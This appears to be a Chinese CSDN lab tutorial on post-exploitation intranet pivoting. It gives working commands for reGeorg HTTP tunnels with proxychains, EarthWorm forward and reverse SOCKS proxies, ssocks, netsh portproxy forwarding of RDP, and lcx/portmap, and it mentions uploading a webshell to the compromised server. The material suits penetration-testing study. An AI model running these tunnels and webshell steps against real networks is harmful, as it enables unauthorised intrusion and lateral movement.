内网转发

内网转发简介


在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发

原因

为什么我们选择了内网转发,而不是直接登录我们控制的机器,一般情况下要么我们的权限不够,要么对方设定了固定ip访问(应该是可以通过修改远程特定端口的作用域(注册表)实现接触ip限制)

最主要的还是就算我们能登录成功

要么我们登录对方系统操作东京太大

还有就是,对方的系统,可能并没有我们需要的环境,也没有相关工具,我们需要上传的太多了

内网转发的实现

常见内网转发工具的分类:

按照协议进行分类,可以分为:Socks协议 和 Socket协议 

按照工具工作原理分类分为: 端口转发类(隧道) 和 web代理类

常见的端口转发工具不限于下面这些,还有很多好用的比如:Tunna、reDuh等。传送门——> 浅谈内网端口转发

内网转发实现


reGeorg结合proxychains代理链(HTTP隧道)

reGeorg简介

reGeory适用于公网服务器只开放了80端口的情况。

reGeorg是用 python 写的利用Web进行代理的工具,流量只通过 http 传输,也就是http隧道。

利用场景

假如我们获取到了位于公网Web服务器的权限,也就是说我们可以向服务器web目录下上传任何文件,但是该服务器开启了防火墙,只开放了80端口。内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,通过公网服务器的80端口,访问和探测内网Web服务器的信息

注意:这里上传的动态脚本需要和网站的语言一直,比如php的站点,我们需要上传php的脚本

实现

我这里的环境是,两台物理机A(kali:192.168.1.119)和B(win10:192.168.1.107)

在物理机上安装虚拟,通过NAT模式,我们称其为C(win7:10.10.10.128)

在这里A相当于我们的攻击机,B相当于目标的外网服务器,C属于内网服务器,B和C都有web服务

测试主机的连通性,以下,分别是win10、kali

我们的kali只能平通主机B,放一只能访问B的web服务

在C主机上我临时搭建了pjpstudy的环境,并保证测试正常,可以通过B主机访问,但是A主机访问不了,如下

分别是主机B和C的web服务

模拟操作,在B主机上写个一句话木马,我们通过web管理工具上传我们的脚本,或者,可以直接通过,文件上传漏洞之类的上传

这里使用web管理工具

接下来我们上传我们需要使用的脚本

访问到如下界面说明正常

首先配置proxychains代理链的配置文件/etc/proxychains.conf ,将代理设置成本机的1080端口:socks5 127.0.0.1 1080

然后我们在攻击机(A)上执行如下语句

python reGeorgSocksProxy.py -p 1080 -u http://192.168.1.107/tunnel.nosocket.php  #表示本地1080端口的流量都转发给指定的那个url

然后命令前面加上 proxychains即可。如:proxychains curl 10.10.10.128

所以我们流量的走向是: 流量->本地1080端口->web服务器的80端口(通过我们上传的php文件进行流量转发)->内网服务器->web服务器的80端口->本地1080端口

注意:python执行的脚本需要开着我们才能访问,不能关闭

EW(EarthWorm)结合proxychains代理链

简介

EW 是一套便携式的网络穿透工具,具有 SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内

实现

环境还是上面的环境,由于我的B主机,也就是通向内网的主机是windows,所以这里只传一个windows的ew

正向代理

B主机配置

如果是Linux系统
./ew_for_linux64 -s ssocksd -l 1080  #监听本地的1080端口
 
如果是Windows系统
ew_for_Win.exe -s ssocksd -l 1080   #监听本地的1080端口

A主机设置

如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 192.168.1.107的1080端口:socks5 192.168.1.107 1080 
然后命令前面加上 proxychains即可。如:proxychains curl 10.10.10.128
 
如果是Windows系统,直接浏览器中设置代理为 192.168.1.107的1080端口,或者利用  Proxifier 、sockscap64 设置全局代理

效果如下

反向代理

A主机配置

如果是Linux系统:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888  #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
然后配置proxychains代理链的配置文件,将代理设置成 127.0.0.1的1080端口:socks5 127.0.0.1 1080 
然后命令前面加上 proxychains即可。如:proxychains curl 10.10.10.128
 
 
如果是Windows系统
ew_for_Win.exe -s rcsocks -l 1080 -e 8888   #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
然后浏览器中设置代理为 192.168.1.107的1080端口,或者利用  Proxifier 、sockscap64 设置全局代理

 

B主机配置

如果是Linux系统:
./ew_for_linux64 -s rssocks -d 192.168.1.119 -e 8888  #将本机的流量全部转发到192.168.1.119的8888端口
 
如果是Windows系统:
ew_for_Win.exe -s rssocks -d 192.168.1.119 -e 8888  #将本机的流量全部转发到192.168.1.119的8888端口

效果如下

注意:上当是先配置我们的攻击机,在配置外网的web服务器,不然会出现如下错误

Ssocks正向代理(Linux)

Ssocks是Linux下一款端口转发的工具,而proxychains代理链是Linux下一款代理设置工具。由于Ssocks不稳定,所以不建议使用

而且此处限制的web服务器也是linux服务器

利用环境同上,具体配置如下

linux的web服务器配置如下

./rssocks -vv -s 192.168.1.119:9999   #接收192.168.1.119的9999端口的流量

A主机设置如下

首先配置proxychains代理链的配置文件,把最后的内容改成  socks5 127.0.0.1 1080 
 
./rcsocks -l 1080 -p 9999 -vv   #然后将本地的1080端口的流量转发到9999端口
 
接下来,我们想要访问和操作操作内网主机10.10.10.128的话,只需要在命令前面加上 proxychains
比如,获得内网Web服务器的网页文件: proxychains curl 10.10.10.128

使用放截图不在具体介绍

Netsh实现端口转发

简介

Netsh 是Windows自带的命令行脚本工具,它可以建立端口映射

其使用语法如下

netsh interface portproxy add v4tov4 listenaddress=192.168.1.107 listenport=8888 connectaddress=10.10.10.128 connectport=80 #新建一个端口映射,将192.168。1.107的8888端口和10.10.10.128的80端口做个映射
netsh interface portproxy show all  #查看端口映射
netsh interface portproxy delete v4tov4 listenaddress=192.168.1.107 listenport=8888 #删除端口映射

注意:此命令需要管理员权限

接下来我们使用另外一台windows,访问192.168.1.107:8888

接下来我们删除端口映射

除此之外,我们还可以映射内网主机的3389或者22端口,从而实现直接登录

以windows 为例

netsh interface portproxy add v4tov4 listenaddress=192.168.1.107 listenport=13389 connectaddress=10.10.10.128 connectport=3389

做了端口转发,我们就可以直接通过远程192.168.1.107:13389远程连接内网服务器

前提当然是,内网主机开着3389,一般都会开的

ssh只是修改端口号即可,命令都是一样的

LCX实现端口转发

简介

提起Lcx,可能大家并不会陌生,早些年被称为端口转发神器。 Lcx有它的局限性,比如原始版本不支持linux,不免杀等等,但lcx在某些特定的场合依然发挥着重要的作用。同样基于Socket协议

测试环境同上

lcx.exe -tran 9999 10.10.10.128 80  #将本地的8080端口转发到10.10.10.128的80端口

在linux环境下,可以使用lcx,也可以使用portmap

lcx命令和windows一致,portmap命令如下

Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2

其余姿势,请参考freebuf文章:浅谈内网端口转发

相关推荐

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:技术黑板 设计师:CSDN官方博客 返回首页
评论

打赏作者

秋水sir

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值